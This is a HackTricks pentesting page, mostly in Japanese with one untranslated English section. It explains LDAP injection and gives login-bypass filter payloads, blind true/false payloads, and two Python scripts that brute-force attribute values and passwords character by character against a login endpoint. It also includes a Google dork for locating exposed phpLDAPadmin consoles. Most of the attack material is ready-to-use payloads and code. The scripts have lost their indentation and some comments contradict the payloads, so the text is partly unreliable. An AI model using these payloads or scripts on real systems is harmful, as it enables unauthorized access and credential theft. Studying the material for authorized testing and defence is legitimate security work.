hacktricks/pentesting-web/ldap-injection.md
2023-07-07 23:42:27 +00:00

17 KiB
Raw Blame History

LDAPインジェクション

LDAPインジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


バグバウンティのヒント: Intigritiサインアップしてください。これは、ハッカーによって作成されたプレミアムなバグバウンティプラットフォームです!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

LDAPインジェクション

LDAP

LDAPとは何かを知りたい場合は、次のページにアクセスしてください

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}

LDAPインジェクションは、ユーザーの入力に基づいてLDAPステートメントを構築するWebベースのアプリケーションを悪用するための攻撃です。アプリケーションがユーザーの入力を適切にサニタイズしない場合、ローカルプロキシを使用してLDAPステートメントを変更することが可能です。

{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}

フィルター = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = 絶対的なTRUE
(|) = 絶対的なFALSE

例:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))

データベースにアクセスできるため、さまざまなタイプの情報が含まれている可能性があります。

OpenLDAP2つのフィルタが到着した場合、最初のフィルタのみが実行されます。
ADAMまたはMicrosoft LDS2つのフィルタがあるとエラーが発生します。
SunOne Directory Server 5.0:両方のフィルタが実行されます。

フィルタを正しい構文で送信することは非常に重要です。そうしないとエラーが発生します。1つのフィルタのみを送信する方が良いです。

フィルタは&または|で始まる必要があります。
例:(&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void

次に:(&(objectClass=***)(ObjectClass=*))**が最初のフィルタ(実行されるフィルタ)になります。

ログインバイパス

LDAPはパスワードを保存するためにいくつかの形式をサポートしていますクリア、md5、smd5、sh1、sha、crypt。したがって、パスワードに何を挿入してもハッシュ化される可能性があります。

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

リスト

盲目的なLDAPインジェクション

データが返されるかどうかを確認し、可能な盲目的なLDAPインジェクションを確認するために、FalseまたはTrueの応答を強制することができます。

#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

データのダンプ

ASCII文字、数字、および記号を繰り返し処理することができます

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

スクリプト

有効なLDAPフィールドを特定する

LDAPオブジェクトには、デフォルトでいくつかの属性が含まれています。これらの属性を使用して情報を保存することができます。その情報を抽出するために、すべての属性をブルートフォースで試すことができます。ここでデフォルトのLDAP属性のリストを見つけることができます。

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()

特殊なブラインドLDAPインジェクション"*"なし)


Introduction

LDAP (Lightweight Directory Access Protocol) is a protocol used to access and manage directory information services. It is commonly used for authentication and authorization purposes in web applications.

LDAP injection is a type of attack where an attacker can manipulate LDAP queries to retrieve unauthorized information or perform unauthorized actions. In a blind LDAP injection attack, the attacker does not receive any error messages or visible responses from the server, making it more difficult to detect.

In this section, we will discuss a special blind LDAP injection technique that does not require the use of the wildcard character "*".


Exploiting Blind LDAP Injection

Blind LDAP injection attacks can be used to extract sensitive information from an LDAP server. The attacker can craft malicious input that alters the behavior of the LDAP query and retrieves unauthorized data.

To exploit blind LDAP injection without using the wildcard character "*", the attacker can use the following technique:

  1. Identify the vulnerable input: The first step is to identify the input that is vulnerable to LDAP injection. This can be any user-controlled input that is used in an LDAP query.

  2. Determine the LDAP query structure: The attacker needs to understand the structure of the LDAP query in order to manipulate it. This can be done by analyzing the application's code or by intercepting and analyzing the network traffic.

  3. Use boolean-based blind techniques: Instead of using the wildcard character "*", the attacker can use boolean-based blind techniques to infer information from the LDAP server. This involves crafting input that will result in a true or false condition, depending on the injected payload.

  4. Exploit the vulnerability: Once the attacker has crafted the malicious input, they can inject it into the vulnerable parameter and observe the behavior of the LDAP query. By carefully analyzing the responses from the server, the attacker can extract sensitive information.


Preventing Blind LDAP Injection

To prevent blind LDAP injection attacks, it is important to implement proper input validation and sanitization techniques. Here are some best practices to follow:

  • Input validation: Validate and sanitize all user-controlled input before using it in an LDAP query. This can include input from forms, cookies, headers, or any other user-supplied data.

  • Parameterized queries: Use parameterized queries or prepared statements to build LDAP queries. This helps to prevent the injection of malicious input.

  • Least privilege principle: Ensure that the LDAP user account used by the application has the least privileges necessary to perform its intended functions. This can help limit the impact of a successful LDAP injection attack.

  • Regular security updates: Keep the LDAP server and any related software up to date with the latest security patches. This helps to mitigate any known vulnerabilities that could be exploited.

By following these best practices, you can significantly reduce the risk of blind LDAP injection attacks and protect your application's sensitive data.

#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break

Google ドークス

Google ドークスは、Google 検索エンジンを使用して、特定の情報を見つけるための特殊な検索クエリです。これは、ウェブサイトやオンラインデータベースに対して効果的な情報収集手法として使用されます。Google ドークスは、ウェブサイトの脆弱性やセキュリティの問題を特定するためにも使用されます。

以下にいくつかの一般的な Google ドークスの例を示します。

  • site::特定のドメイン内で検索します。例えば、site:example.com は、example.com ドメイン内のすべてのページを検索します。
  • intitle::特定のキーワードがタイトルに含まれるページを検索します。例えば、intitle:login は、ページのタイトルに "login" というキーワードが含まれるページを検索します。
  • inurl::特定のキーワードが URL 内に含まれるページを検索します。例えば、inurl:admin は、URL 内に "admin" というキーワードが含まれるページを検索します。

これらのドークスを使用することで、特定の情報を見つけるための効果的な手段を得ることができます。ただし、個人情報や機密情報を検索する際には、法的な制約や倫理的な考慮事項に留意する必要があります。

intitle:"phpLDAPadmin" inurl:cmd.php

追加のペイロード

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}


バグバウンティのヒント: ハッカーによって作成されたプレミアムなバグバウンティプラットフォームであるIntigritiサインアップしてください!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥